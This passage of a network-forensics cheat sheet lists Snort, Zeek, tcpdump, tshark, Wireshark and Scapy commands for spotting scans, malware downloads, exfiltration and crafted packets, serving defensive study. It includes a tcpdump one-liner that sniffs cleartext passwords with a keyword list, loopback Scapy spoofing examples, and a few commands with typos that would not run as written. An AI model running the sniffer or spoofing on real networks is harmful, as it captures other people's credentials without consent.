snort --pcap-filter=*.cap --pcap-dir=/home/pcaps:run against multiple pcaps in a fldr

*-q quiets errors, -K suppresses logging (if you get an error w/snort.conf)
snort –c snort.conf –r sample.pcap –q –K none –A console

*create an alert log with corresponding pcaps:
Snort –c snort.conf –r sample.pcap –q –l log –A fast
*generates alert file + snort.log*
Tcpdump –r log/snort.log.### -ntX

View packets in cmd line corresponding to alerts
snort –A cmg –q –K none –c syslog.rule –r syslog.pcap
```

Basic Bro/Zeke Analysis Against Pcap

```
bro –r /pcaps/capture.pcap /opt/bro/share/bro/file-extraction/extract.bro
```

Investigating: Files

```
Carving (Bro), AV Scanning, & Cross Referencing Logs
bro –r /pcaps/sample.pcap /opt/bro/share/bro/file-extraction/extract.bro
ls –la /nsm/bro/extracted                    :default types - .exe .txt .jpg .png .html
clamscan /nsm/bro/extracted/*.exe            :scan all exe's with clamAV
grep 'detectedMalware' *.log                 :show traces of malware in other bro logs
sha1sum /tmp/carved.exe                      :get hash of malware
*insert hashes in hashQuery-TG & hashQuery-VT scripts
```

Investigating: Connections

```
Bro: investigate a pcap
bro –r pcap.pcap                             :this generates several logs
ls *log                                      :view the logs generated
more conn.log                                :view one of the logs generated
cat conn.log | bro-cut –d ts uid id.orig_h id.orig_p id.resp_h id.resp_p orig_bytes
                                             :top talkers
cat files.log | bro-cut fuid tx_hosts rx_hosts conn_uids :show file names
grep <filename from prev cmd> *              :see which logs the file was seen
bro –r pcap.pcap file-extract.bro            :extract the file from the pcap
cd extract_files
more extract-file..                          :see if you can see info through more
cat /usr/local/bro/logs/current/signatures.log |bro-cut event_msg
                                             :view alerts generated by bro sniffing

Bro: Create a signature and run against a pcap:
cat signature.sig
  signature dnscat{
      ip-proto == udp
      dst-port == 22
      payload /.*dnscat.*/
      event "UDP dnscat tunnel"
  }
rm –rf *.log                                 :clean up any prior log files
bro –r signature.pcap –s signature.sig
*if this works we should now see a log file created
cat signatures.log |bro-cut event_msg


Bro: DNS Anomolous Traffic
cat dns.log |bro-cut query | sort –u | sed "s/^[a-zA-Z0-9-]*\.//g"| sort | uniq –c |
  sort –n                                    :unique DNS queries from Bro

Bro: DNS NULL Traffic (Indicative of Iodine Exfil)
cat dns.log | bro-cut query qtype_name | grep NULL

Bro: Abnormal User Agent Query (Almost certainly bad)
*exlude Mozilla, Opera, Microsoft-CryptAPI
cat http.log | bro-cut user_agent | egrep –v "Mozilla|Opera|Microsoft-CryptoAPI" | sort
  | uniq –c | sort –n

Strings: Detecting shortest User Agents (Similar to Bro User Agent Query)
1:strings /pcaps/sample.pcap | grep –i User-Agent | sort –u        :-i=case-insensitive
2:strings /pcaps/sample.pcap | grep User-Agent| sort –u| awk '{pring length, $0;}' |
  sort –nr
Analyze in Wireshark: Edit / Find Packet, choose "String" & "Packet Bytes". Enter User
  Agent in the search box, click Find. Analyze / Follow TCP Stream

X.509 Anomolous Certificates (Search for short entries)
```

```
*First connect to Alexa top 500 Internet sites via SSL
mkdir /tmp/bro
cd /tmp/bro
bro –C –r /pcaps/normal/https/alexa-top-500.pcap     :process pcap in bro
cat ssl.log | bro-cut issuer| sort –u > /tmp/alexa.txt :save off Top 500
bro –C –r /pcaps/sample.pcap                          :next process target pcap
cat ssl.log | bro-cut issuer | sort –u > /tmp/sample.txt :save off Target issuers
cat /tmp/alexa.txt|awk '{print length, $0;}' | sort –nr
cat /tmp/sample.txt|awk '{print length, $0;}' | sort -nr

Alternate way to view:
tshark –r /pcaps/sample.pcap –T fields –R "ssl.handshake.certificate" –e
  x509sat.printableString

Bro: Transaction Data
bro –r /pcaps/sample.pcap
cat http.log | bro-cut user_agent host | sort –u | grep kuku       :two key fields

Bro-Cut Connections Example
cat conn.log || bro-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service conn_state
| grep 445 _ egrep '^10\.5\.11\.52' | grep RST | cut –f 3 | sort | uniq
                                                  :search SMB traffic from specific ip
```

IA: TCPDump Essentials

Sniffing Packets

To sniff using

Most Important Options

-w store both connection info and actual data into a file
-s tells tcpdump how much of packet should be captured
-C in conjunction w/-w to save captures as multiple sequential captures

Command Line Options

-A Print frame payload in ASCII -c <count> Exit after capturing count packets
-D List available interfaces -e Print link-level headers
-F <file> Use file as the filter expression
-G <n> Rotate the dump file every n seconds
-i <iface> Specifies the capture interface -K Don't verify TCP checksums
-L List data link types for the interface -n Don't convert addresses to names
-p Don't capture in promiscuous mode -q Quick output
-r <file> Read packets from file -s <len> Capture up to len bytes per packet
-S Print absolute TCP sequence numbers -t Don't print timestamps
-tttt print date as 1st field of packet before time
-v[v[v]] Print more verbose output -w <file> Write captured packets to file
-x Print frame payload in hex -X Print frame payload in hex and ASCII
-y <type> Specify the data link type -Z <user> Drop privileges from root to user

Capture Filter Primitives

[src|dst] host <host> Matches a host as the IP source, destination, or either
ether [src|dst] host <ehost> Matches a host as the Ethernet source, destination, or either
gateway host <host> Matches packets which used host as a gateway
[src|dst] net <network>/<len> Matches packets to or from an endpoint residing in network
[tcp|udp] [src|dst] port <port> Matches TCP or UDP packets sent to/from port
[tcp|udp] [src|dst] portrange <p1>-<p2> Matches TCP or UDP packets to/from a port in the given range
less <length> Matches packets less than or equal to length
greater <length> Matches packets greater than or equal to length
(ether|ip|ip6) proto <protocol> Matches an Ethernet, IPv4, or IPv6 protocol
(ether|ip) broadcast Matches Ethernet or IPv4 broadcasts
(ether|ip|ip6) multicast Matches Ethernet, IPv4, or IPv6 multicasts
type (mgt|ctl|data) [subtype <subtype>] Matches 802.11 frames based on type and optional subtype
vlan [<vlan>] Matches 802.1Q frames, optionally with a VLAN ID of vlan
mpls [<label>] Matches MPLS packets, optionally with a label of label
<expr> <relop> <expr> Matches packets by an arbitrary expression

Protocols

Arp	ether	fddi	icmp	ip	ip6
Link	ppp	radio	rarp	slip	tcp
Tr	udp	wlan			

TCP Flags

tcp-urg	tcp-rst	tcp-ack	tcp-syn	tcp-psh	tcp-fin

Modifiers

! or not	&& or and	|| or or

Examples

```
! udp dst port not 53                  :UDP not bound for port 53
host 10.0.0.1 && host 10.0.0.2         :Traffic between these hosts
tcp dst port 80 or 8080                :Packets to either TCP port
```

ICMP Types

```
icmp-echoreply icmp-routeradvert icmp-tstampreply
icmp-unreach icmp-routersolicit icmp-ireq
icmp-sourcequench icmp-timxceed icmp-ireqreply
icmp-redirect icmp-paramprob icmp-maskreq
icmp-echo icmp-tstamp icmp-maskreply
```

Sniff While Scanning (Can be helpful)

```
tcpdump –nn host <ip>                          :sniff a particular ip
nmap –n –sT <ip>                               :shows 3 way handshake in tcpdump

Look for cleartext passwords while you sniff:
tcpdump port http or port ftp or port smtp or port imap or port pop3 or port telnet -lA
| egrep -i -B5 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=
|password=|pass:|user:|username:|password:|login:|pass |user '
```

Investigating: Files

```
MZ (EXE) Compilers Searchable Strings (unless attacker knows to take out)
“This program cannot be run in DOS mode” (most common)
“This program must be run under Win32”
“This program must be run under Win64”
-sometimes malware changes exe headers, i.e. “That program must be run…”

Pcap Strings Search
ngrep –q –I /pcaps/sample.pcap “SEARCHPHRASE”  :-q only headers & payload
ngrep –q –I /pcaps/sample.pcap “HTTP/1.0”      :should see 1.1&2.0; 1.0 often malware
strings /pcaps/sample.pcap | grep GET          :alternate search
tshark –nr /sample.pcap –Y “http.request.method==GET” :alternate search
```

Traffic Analysis

```
Pcap Flow (Tshark)
tshark –n –r /pcaps/sample.pcap –q –z conv, tcp :-z get stats

Filter IP & Port
tcpdump -r file.pcap -nnvvx 'dst host 192.168.2.109 and src port 2056'

Find HTTP User Agents
tcpdump –r file.pcap | grep 'User-Agent:'
tcpdump -vvAls0 | grep 'User-Agent:'

Cleartext GET Requests
tcpdump –r file.pcap | grep 'GET'
tcpdump -vvAls0 | grep 'GET'

Find HTTP Host Headers
tcpdump –r file.pcap | grep 'Host:'
tcpdump -vvAls0 | grep 'Host:'

Find HTTP Cookies
tcpdump –r file.pcap | grep 'Set-Cookie|Host:|Cookie:'
tcpdump -vvAls0 | grep 'Set-Cookie|Host:|Cookie:'

Find SSH Connections
*This one works regardless of what port the connection comes in on, because it’s
getting the banner response.

tcpdump –r file.pcap 'tcp[(tcp[12]>>2):4] = 0x5353482D'
tcpdump 'tcp[(tcp[12]>>2):4] = 0x5353482D'

Find DNS Traffic
tcpdump –r file.pcap port 53
tcpdump -vvAs0 port 53

Find FTP Traffic
tcpdump –r file.pcap port ftp or ftp-data
tcpdump -vvAs0 port ftp or ftp-data

Find Traffic with Evil Bit
```

```
tcpdump 'ip[6] & 128 != 0'
```

Common Investigation Queries

Computer Information

```
tcpdump -r udp-icmp.pcap -nnn -t -c 200|awk '{print $2}'|cut -d. -f1,2,3,4|sort|uniq -
c|sort -nr|head -n 20                          :top talkers
tcpdump -r file.pcap -e                        :find MAC Address
tcpdump -r file.pcap -e host <ip>              :find MAC for specific IP
tcpdump -r file.pcap 'port 137 || 138 || 139 || 445' :host name using Netbios & SMB
tcpdump -r file.pcap -v -n port 67 or 68       :find host name using DHCP (option 12)
tcpdump -r file.pcap -vvnA port 88 host <ip> | grep 'ldap'  :find host name using
Kerberos (option 12)
```

Windows User Account Name

```
tcpdump -r file.pcap -vvnA port 88 host <ip> | grep '..0........0...'     :Kerberos
packets for host
```

Device Model & OS From HTTP Traffic

```
1. To monitor HTTP traffic including request and response headers and message body:
tcpdump -r file.pcap -A -tttt 'tcp port http and (((ip[2:2] - ((ip[0]&0xf)<<2)) -
((tcp[12]&0xf0)>>2)) != 0)'
2. To monitor HTTP traffic including request and response headers and message body from
a particular source:
tcpdump -r file.pcap -A -tttt 'src example.com and tcp port 80 and (((ip[2:2] -
((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'
3. To only include HTTP requests, modify "tcp port http" to "tcp dst port http" in above
commands:
tcpdump -r file.pcap -tttt 'tcp dst port http'
tcpdump -r file.pcap -A -tttt "tcp dst port http"
```

Find Possible Scans:

```
tcpdump -nr traffic.pcap 'tcp[tcpflags]=2' | awk '{print $3}' | cut -d. -f1,2,3,4 |
sort | uniq -c | sort -nr
```

Other flags:

TCP Connect Scans	TCP SYN Scan	TCP ACK Scan
proto 6 and 'tcp[13]=0x12'	proto 6 and 'tcp[13]=0x02'	proto 6 and 'tcp[13]=0x10'
TCP FIN Scan	**TCP XMAS Scan**	**TCP NULL Scan**
proto 6 and 'tcp[13]=0x01'	proto 6 and 'tcp[13]=0x29'	proto 6 and 'tcp[13]=0x00'
Ping Sweep	**TCP Ping Sweep**	**UDP Ping Sweep**
tcpdump icmp	proto 6 and dst port 7	proto 17 and dst port 7

```
UDP Scan
proto 17 and ip.len == 28

Non-standard ICMP
tcpdump 'icmp[icmptype] != icmp-echo and icmp[icmptype] != icmp-echoreply'
```

TCP Sequence Analysis:

```
tcpdump -r file.pcap -ntS
```

Possible Crafted Packets:

```
Look for queries with more than one query:
*udp[10] is 0 value bit in QR bit, udp[12:2] looks for more than 1 query
tcpdump -nr dns-bpf.pcap 'dst port 53 and udp[10] & 0x80 = 0 and udp[12:2] > 1'
```

Look at HTTP(S) Traffic for a Single Device

```
tcpdump -r file.pcap -tttt 'tcp port https' or 'tcp port http' and 'host <infected ip>'
tcpdump -n -r file.pcap -tttt 'tcp port https and (tcp[((tcp[12] & 0xf0) >> 2)] = 0x16)'
:just SSL handshake
```

IOCs

```
Look for ips & ports from alerts
sudo sostat-quick :easiest way to pull
mysql -uroot -Dsecurityonion_db :enter mysql shell to pull queries
Show top 20 intrusion events
```

```
SELECT COUNT(*) AS cnt, signature, signature_id FROM event WHERE status=0 GROUP BY
signature ORDER BY cnt DESC LIMIT 20;
```

Look for Downloaded Files using tcpdump

```
tcpdump –r file.pcap -vvA | grep 'This program'
```

Look for Downloaded Files using ngrep

```
ngrep -I exercise.pcap -qt 'This program'
```

Look for downloaded files using bro/zeke

```
bro –r /pcaps/sample.pcap /opt/bro/share/bro/file-extraction/extract.bro
ls –la /nsm/bro/extracted                    :default types - .exe .txt .jpg .png .html
```

Look for downloaded files using tshark

```
tshark -r mypcap.pcap --export-objects "http,destdir"
```

Look for ips not in alerts

```
tcpdump –r file.pcap ‘tcp port https’ or ‘tcp port http’ and ‘host <infected ip>’
```

Find FTP Traffic

```
tcpdump –r file.pcap –tttt port ftp or ftp-data
tcpdump –r file.pcap -vvAs0 -tttt port ftp or ftp-data
```

Pulling a sha-256 for infected files:

```
Powershell: Get-FileHash .\<file> -Algorithm SHA256
Linux info: file malware.exe
Linux: shasum -a 256 malware.exe
```

IA: tshark Essentials

Traffic Analysis

Stats (Tshark)

```
tshark –n –r /pcaps/sample.pcap –q –z conv, tcp :-z get stats

HTTP requests modes
tshark –r wireshark.pcap –n –q –z http,tree

HTTP requests summary
tshark –r wireshark.pcap –n –q –z http_req,tree

Narrow in on port and IPs from url from previous stats
tshark –n –r wireshark.pcap –Y 'tcp contains url.com'
*to find the associated stream:
tshark –n –r wireshark.pcap –Y 'tcp.srcport == # and tcp.dstport == 80' –T fields –e
tcp.stream | uniq
*take the stream and appy to our next filter:
tshark –n –r wireshark.pcap –q –z follow,tcp,asci,Stream#|more
```

Find which streams have SMTP Traffic (Tshark)

```
tshark –r wireshark.pcap –n –Y 'tcp.port == 25' –T fields –e tcp.stream | uniq
*say we see that stream 9 has SMTP traffic and we want to investigate:
tshark –r wireshark.pcap –n –q –z follow,tcp,ascii,9 | more
```

Build summary of IP protocols and HTTP request method seen in pcap

```
$ tshark -r file.pcap -T fields -e ip.proto | sort | uniq -c | sort >
summary.txt
$ tshark -r file.pcap -z conv,tcp | sed
'1,/====================/d' >> summary.txt
$ tshark -r file.pcap -z conv,udp | sed
'1,/====================/d' >> summary.txt
$ tshark -r file.pcap -T fields -e http.request.method -R
"http.request.method" | sort | uniq -c | sort >> summary.txt
$ tshark -T fields -e ip.dst -e tcp.dstport -e udp.dstport -Y "ip.src==192.168.137.91"
-r file.pcap | sort | uniq -c >> summary.txt
```

HTTP Traffic Analysis

```
*Look for ips connected, look for referrer traffic if any
tshark -T fields -e frame.time -e ip.proto -e ip.src -e tcp.srcport -e ip.dst -e
tcp.dstport
-e tcp.flags -e http.referer -e http.host -e http.request.uri -e http.request.method -e
http.content_type -e http.content_length -e http.content_encoding -e http.user_agent
-e ssl.handshake.extensions_server_name -e udp.dstport -e dns.qry.name -E
separator="," -E header=y -r file.pcap >
dridex_2016_05_12.csv
```

Pcap Strings Search

```
tshark –nr /sample.pcap –Y "http.request.method==GET"       :alternate search
```

TCP Sequence Analysis

```
tshark -r file.pcap -T fields -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport -e
tcp.flags -e tcp.seq -e tcp.len -E header=y -Y "ip.src == 10.10.10.10 and tcp.dstport
==80"
```

Show FTP files being sent:

```
tshark –r file.pcap –n –Y "ftp-data"                              :then follow stream, save as
"Raw", save conv.
tshark –r file.pcap –n –Y "ftp.request.command contains USER"  :look for FTP login requests
tshark –r file.pcap –n –Y "ftp.request.command contains PASS"  :alt-look for FTP login
requests
*Note try to follow the last one
tshark –r file.pcap –n –Y "ftp.request.command contains RETR"  :look for a quick list of
file
tshark –r file.pcap –n –Y "ftp.request.command contains STOR"  :alt-look for a quick list
```

of files

Possible Crafted Packets:
Look for DNS packets with a reply and response:
```
tshark -n -r dns-bpf.pcap -Y '(udp.dstport == 53 and dns.flags.response == 0 and
dns.count.queries > 0 and dns.count.answers > 0)' -T fields -e dns.a
```

Ethernet	
eth.addr	eth.len
eth.dst	eth.src
eth.lg	eth.trailer
eth.ig	eth.multicast
IEEE 802.1Q	
vlan.cfi	vlan.id
vlan.priority	vlan.etype
vlan.len	vlan.trailer
IPv4	
ip.addr	ip.fragment.overlap.conflict
ip.checksum	ip.fragment.toolongfragment
ip.checksum_bad	ip.fragments
ip.checksum_good	ip.hdr_len
ip.dsfield	ip.host
ip.dsfield.ce	ip.id
ip.dsfield.dscp	ip.len
ip.dsfield.ect	ip.proto
ip.dst	ip.reassebled_in
ip.dst host	**ip.src**
ip.flags	ip.src_host
ip.flags.df	ip.tos
ip.flags.mf	ip.tos.cost
ip.flags.rb	ip.tos.delay
ip.frag_offset	ip.tos.precedence
ip.fragment	ip.tos.reliability
ip.fragment.error	ip.tos.throughput
ip.fragment.multipletails	ip.ttl
ip.fragment.overlap	ip.version
IPv6	
ipv6.addr	ipv6.hop_opt
ipv6.class	ipv6.host
ipv6.dst	ipv6.mipv6_home_address
ipv6.dst_host	ipv6.mipv_length
ipv6.dst_opt	ipv6.nxt
ipv6.flow	ipv6.opt.pad1
ipv6.fragment	ipv6.opt.padn
ipv6.fragment.error	ipv6.plen
ipv6.fragment.more	ipv6.reassembled_in
ipv6.fragment.multipletails	ipv6.routing_hdr
ipv6.fragment.offset	ipv6.routing_hdr.addr
ipv6.fragment.overlap	ipv6.routing_hdr.left
ipv6.fragment.id	ipv6.src_host
ipv6.hlim	ipv6.version
Frame Relay	
fr.becn	fr.de

ARP	
arp.dst.hw_mac	arp.proto.size
arp.dst.proto_ipv4	arp.proto.type
arp.hw.size	arp.src.hw_mac
arp.hw.type	arp.src.proto_ipv4
TCP	
tcp.ack	tcp.options.qs
tcp.checksum	tcp.options.sack
tcp.checksum_bad	tcp.options.sack_le
tcp.checksum_good	tcp.options.sack_perm
tcp.continuation_to	tcp.options.sack_re
tcp.dstport	tcp.options.time_stamp
tcp.flags	tcp.options.wscale
tcp.flags.ack	tcp.options.wscale_val
tcp.flags.cwr	tcp.pdu.last_frame
tcp.flags.ecn	tcp.pdu.size
tcp.flags.fin	tcp.pdu.time
tcp.flags.push	**tcp.port**
tcp.flags.reset	tcp.reassembled_in
tcp.flags.syn	tcp.segment
tcp.flags.urg	tcp.segment_error
tcp.hdr_len	tcp.segment.multipletails
tcp.len	tcp.segment.overlap
tcp.nextseq	tcp.segment.overlap
tcp.options	tcp.segment.overlap.conflict
tcp.options.cc	tcp.segment.toolongfragment
tcp.options.ccecho	tcp.segments
tcp.options.ccnew	tcp.seq
tcp.options.echo	tcp.srcport
tcp.options.echo_reply	tcp.time_delta
tcp.options.md5	tcp.time_relative
tcp.options.mss	tcp.urgent_pointer
tcp.options.mss_val	tcp.window_size
UDP	
udp.checksum	**udp.dstport**
udp.checksum_bad	**udp.length**
udp.checksum_good	**udp.port**
	udp.srcport
Operators	**Logic**
eq or ==	and or &&
ne or !=	or or ||
gt or >	xor or ^^
lt or <	not or !
ge or >=	[n] […]
le or <=	
ICMPv6	
icmpv6.all_comp	icmpv6.option.name

			type.fqdn
fr.chdlctype	fr.dlci	icmpv6.checksum	icmpv6.option.name_x501
fr.control	fr.dlcore_control	icmpv6.checksum_bad	icmpv6.option.rsa.key hash
fr.control.f	fr.ea	icmpv6.code	icmpv6.option.type
fr.control.ftype	fr.fecn	icmpv6.comp	icmpv6.ra.cur_hop_limit
fr.control.n_r	fr.lower_dlci	icmpv6.haad.ha_addrs	icmpv6.ra.reachable time
fr.control.n_s	fr.nlpid	icmpv6.identifier	icmpv6.ra.retrans_timer
fr.control.p	fr.second_dlci	icmpv6.option	icmpv6.ra.router_lifetime
fr.control.s_ftype	fr.snap.oui	icmpv6.option.cga	icmpv6.recursive_dns serv
fr.control.u_modifier cmd	fr.snap.pid	icmpv6.option.length	icmpv6.type
fr.control.u_modifier _resp	fr.snaptype	icmpv6.option.name_type	
fr.cr	fr.third_dlci	RIP	
fr.dc	fr.upper_dlci	rip.auth.passwd	rip.netmask
PPP		rip.auth.type	rip.next_hop
ppp.address	ppp.direction	rip.command	rip.route tag
ppp.control	ppp.protocol	rip.family	rip.routing domain
MPLS		rip.ip	rip.version
mpls.bottom	mpls.oam.defect_location	rip.metric	
mpls.cw.control	mpls.oam.frequency	BGP	
mpls.cw.res	mpls.oam.function_type	bgp.aggregator_as	bgp.mp_reach_nlri_ipv4_prefix
mpls.label	mpls.oam.ttsi	bgp.aggregator_origin	bgp.mp_unreach_nlri ipv4 prefix
mpls.oam.bip16	mpls.ttl	bgp.as_path	bgp.multi_exit_disc
ICMP		bgp.cluster_identifier	bgp.next_hop
icmp.checksum	icmp.mtu	bgp.cluster_list	bgp.nlri prefix
icmp.checksum_bad	icmp.mtu	bgp.community_as	bgp.origin
icmp.code	icmp.redir gw	bgp.community_value	bgp.origin id
icmp.ident	icmp.seq	bgp.local_pref	bgp.type
	icmp.type	bgp.mp_nlri_tnl_id	bgp.withdrawn_prefix
DTP		HTTP	
dtp.neighbor	dtp.version	http.accept	http.proxy_authorization
dtp.tlv_len	dtp.neighbor	http.accept_encoding	http.proxy_connect_host
dtp.tlv_type		http.accept_language	http.proxy_connect_port
VTP		http.authbasaic	**http.referer**
vtp.code	vtp.vlan_info.802_10 index	http.authorization	http.request
vtp.conf_rev_num	vtp.vlan_info.isl_vlan_id	http.cache_control	http.request.method
vtp.followers	vtp.vlan info.len	http.connection	http.request.uri
vtp.md	vtp.vlan_info.mtu_size	http.content_encoding	http.request.version
vtp.md5_digest	vtp.vlan_info.status.vlan susp	http.content_length	http.response
vtp.md_len	vtp.vlan_info.tlv_len	http.content_type	http.response.code
vtp.seq_num	vtp.vlan_info.tlv_type	http.cookie	http.server
vtp.start_value	vtp.vlan_info.vlan_name	http.date	http.set_cookie
vtp.upd_id	vtp.vlan_info.vlan name len	http.host	http.transfer_encoding

vtp.udp_ts	vtp.vlan_info.vlan type	http.last_modified	**http.user_agent**
vtp.version		http.location	http.www_authenticate
		http.notification	http.x_forwarded_for
		http.proxy_authenticate	

*from packetlife.net

Common Investigation Queries (See TCPDump Essentials for translation to tcpdump)

Control+F: tcp and frame contains "xxxx" or Edit/Find Packet, Packet Bytes & String type
Typically start with File / Export Objects / HTTP
Web Attack Analysis (successful): http.response.code == 200
http.request and ip.addr eq x.x.x.x

Starting Point
Statistics / Protocol Hierarchy :get a feel for what type of traffic you're working with
Statistics / End Points :get a feel for the devices involved
Statistics / Conversations :look at large conversations, and duration
Statistics / HTTP / Requests :can be used to narrow down if malware was downloaded

Pcap Analysis Tools:
VirusTotal: https://www.virustotal.com
Packettotal: https://packettotal.com/
ThreatGrid cannot handle pcaps ☹

Computer Information:
Mac Address (xref NAC logs): 00:59:07:b0:63:a4 - Found on any packet with the ip, directly on Ethernet
Host Name: use "nbns" to filter netbios traffic. The <00> requests can be hostnames or domains, but the <20> shows the hostname
*Alternatively we could have search wireshark with bootp or dhcp (dhcp for WireShark 3.0), click a DHCP Request - In this case a DHCP Inform. Expand DHCP, Option 12 Host Name
*if you don't have either of those you could filter "smb" to show SMC traffic then look for Host Announcement which shows the name

Windows User Account Name:
Filter WireShark on kerberos.CNameString
Select an AS-Req packet, go to Kerberos / as-req / req-body /cname / cname-string, right click the line with CNameString:computer-pc$ and apply as column. Then you should see computer and usernames. CNameString values for hostnames always end with a $, while user account names do not. To filter on user account names:
kerberos.CNameString and !(kerberos.CNameString contains $)

Device Model & OS From HTTP Traffic:
http.request and !(ssdp) / Follow TCP Stream
*alternatiely frame contains GET
Under User agent string it commonly identifies OS & Browser but can be spoofed (Windows NT 5.1: Windows XP, Windows NT 6.0: Windows Vista, Windows NT 6.1: Windows 7, Windows NT 6.2: Windows 8, Windows NT 6.3: Windows 8.1, Windows NT 10.0: Windows 10). Note for mobile devices you can find the model or OS type from the user agent string)

Find Recon Activity:

Ping Sweep icmp.type==8 or icmp.type==0	*TCP Ping Sweep* tcp.dstport==7	*UDP Ping Sweep* udp.dstport==7
TCP Connect Scans ip.proto == 6 and tcp.flags == 18	*TCP SYN Scan* ip.proto == 6 and tcp.flags == 2	*TCP ACK Scan* ip.proto == 6 and tcp.flags == 16
TCP FIN Scan ip.proto == 6 and tcp.flags == 1	*TCP XMAS Scan* ip.proto == 6 and tcp.flags == 41	*TCP NULL Scan* ip.proto == 6 and tcp.flags == 0
UDP Scan ip.proto == 17 and ip.len == 28		

Possible Signs of Crafted Packets

Repeat ack #s tcp.analysis.duplicate_ack_num	*No Flags* ip.proto == 6 and tcp.flags == 0	*TCP XMAS Scan* ip.proto == 6 and tcp.flags == 41
Source Port 0 tcp.srcport == 0	*Dest Port 0* tcp.dstport == 0	*Maximum Segment Size = 0* tcp.options.mss contains 00:00
Bad TCP Checksum	*Bad IP Checksum*	*Bad ip length*

tcp.checksum_bad.expert	ip.checksum_bad.expert	ip.bogus_ip_length
ICMP Offset > 0	*Broadcast Traffic (i.e. ICMP)*	*Large ICMP Traffic (or DNS)*
ip.frag_offset gt 0	ip.dst_host == 255.255.255.255	frame.cap_len gt 120 and icmp (or dns)

Find ARP Poisoning (using Conventional ARP Reply)
arp.duplicate-address-detected

Find ARP Poisoning Using Gratuitous ARP
arp.isgratuitous

Look at HTTP(S) Traffic for a single device
(http.request or ssl.handshake.type ==1) and !(udp.port==1900) and ip.addr eq <ip>
*Note any traffic over non-standard ports, if needed right click / Decode As
Alternatively look at Statistics / HTTP / Requests

IOCs
First look for ips and ports from alerts, look for downloade files
possibly try (http.request or ssl.handshake.type ==1) and !(udp.port==1900) and ip.addr eq <ip>
*Note after you find downloaded files, then follow stream. Add one to the syntax "tcp.stream eq #" and walk through the streams after to look for beacon traffic
(http.request or ssl.handshake.type ==1) and !(udp.port==1900) and ip.addr eq <ip> :look for ips not in alerts

DNS Requests
dns.resp.name dns.qry.name contains "part of url"

Downloaded files
File / Export Objects / (HTTP or appropriate)
Statistics / HTTP / Requests
http get requests from alerted ips, and files downloaded – ip.addr eq x.x.x.x and http.request
ip contains "This program" then Follow TCP Stream (especially look for files with different extension)

SMB Files
smb and smb.cmd == 0xa2
*in middle of wireshark pane expand SMB, expand SMB Header, expand NT Create Andx Response. If file exists the time and date stamps, size and filename will be shown
smb.cmd == 0x2e or smb.cmd == 0x2f :show only SMB reads (0x2e) + writes (0x2f)
*use to identify all attempted xfers and if likely successful

Show FTP command timeline:
ftp.request.command eq USER or ftp.request.command eq PASS or ftp.request.command eq STOR
-shows the server 000webhost.com using different ips - common

Show FTP files being sent:
ftp-data :then follow stream, save as "Raw", save conv.
*Note try to follow the last one
ftp.request.command == "RETR" || ftp.request.command == "STOR" :look for a quick list of files

Pulling a sha-256 for infected files:
Powershell: Get-FileHash .\<file> -Algorithm SHA256
Linux info: file malware.exe
Linux: shasum -a 256 malware.exe

Sniffing Packets

```
To sniff using Berkley Packet Filters:
>>> packets = sniff(filter="host
1.1.1.1")
Sniffing using counts:
>>> packets = sniff(count=100)
Reading packets from a pcap:
>>> packets = rdpcap("filename.pcap")
Writing packets to a pcap:
>>> wrpcap("filename.pcap", packets)
```

Scapy Basics

```
Launch: sudo scapy        *requires root privs to sniff or send packets
Additionally Scapy can be imported either interactively or in a script with:
from scapy.all import *

To list supported layers:
>>> ls()
Some key layers are:
arp, ip, ipv6, tcp, udp, icmp
To view layer fields use ls(layer):
>>> ls(IPv6)
>>> ls(TCP)
To list available commands:
>>> lsc()
Some key commands for interacting with packets:
rdpcap, send, sr, sniff, wrpcap
Getting help with commands use help(command):
>>> help(rdpcap)
```

Scapy Basic Packet Crafting/Viewing

```
Scapy works with layers. Layers are individual
functions linked together with the "/" character to
construct packets. To build a basic TCP/IP packet with
"data" as the payload:
>>> packet = IP(dst="1.2.3.4")/
TCP(dport=22)/"data"
Note: Scapy allows the user to craft all the way down to
the ether() layer, but will use default values if layers are
omitted. To correctly pass traffic layers should be
ordered lowest to highest from left to right e.g. (ether ->
IP -> TCP).
To get a packet summary:
>>> packet.summary()
To get more packet details:
>>> packet.show()
```

Scapy Example: ICMP packet with spoofed eth/ip layers

```
$scapy
>>>e=Ether(src="aa:bb:cc:dd:ee:ff", dst="ff:ee:dd:cc:bb:aa")
>>>i=IP(src="192.16.1.1", dst="192.168.1.2")
>>>icmp=ICMP(seq=1234)
>>>frame=e/i/icmp

>>>frame                                        :displays your frame so far
>>>wrpcap("/tmp/icmp.pcap", frame               :write the scapy packet to pcap
>>>exit()

Alter the pcap:this ex. Alter the ICMP seq #
r=rdpcap("/tmp/icmp.pcap")                      :read in our file to alter
echoreq = r[0]                                  :reference the packet number in pcap
echoreq[ICMP].seq = 4321                        :alter our value
```

```
echoreq                                          :verify our new packet
del echoreq[ICMP].chksum                         :we must delete our checksum to recalc
wrpcap("/tmp/icmp2.pcap", echoreq)               :write out the new pcap
tcpdump –r /tmp/icmp2.pcap –ntv                  :verify (including good checksum)
```

Scapy Example: Spoofing a reply and response and sniffing

```
*Open 3 terminals and sudo

First Terminal: Sniff with tcpdump
$sudo -s
$tcpdump –ntA –I lo 'icmp'

Second Terminal: Sniff with Scapy
$sudo –s
$scapy
>>>conf.L3socket=L3RawSocket                    :we only need this for local loopback
>>>r=sniff(filter="icmp[0] = 8", count=1, iface="lo")

Third Terminal: Send the Spoofed Packet
$sudo –s
$scapy
>>>conf.L3socket=L3RawSocket                    :we only need this for local loopback
>>>packet=IP(dst="127.0.0.1")/ICMP(type=8,code=0,id=10,seq=100)/"INSERT MESSAGE"
>>>send(packet)

*note you will see output from tcpdump, but to see scapy you need to run r[0]
>>>request=r[0]
>>>request
>>>response=IP(dst="127.0.0.1")/ICMP(type=0,code=0,id=10,seq=100)/"INSERT MESSAGE"
>>>send(response)
```

Scapy IPv4 Layer Fileds / Default Values

```
>>> ls(IP)
Field Type Default Value
version : BitField = (4)
ihl : BitField = (None)
tos : XByteField = (0)
len : ShortField = (None)
id : ShortField = (1)
flags : FlagsField = (0)
frag : BitField = (0)
ttl : ByteField = (64)
proto : ByteEnumField = (0)
chksum : XShortField = (None)
src : Emph = (None)
dst : Emph = ('127.0.0.1')
options : PacketListField = ([])
```

Scapy TCP Layer Fields / Default Values

```
>>> ls(TCP)
Field Type Default Value
sport : ShortEnumField = (20)
dport : ShortEnumField = (80)
seq : IntField = (0)
ack : IntField = (0)
dataofs : BitField = (None)
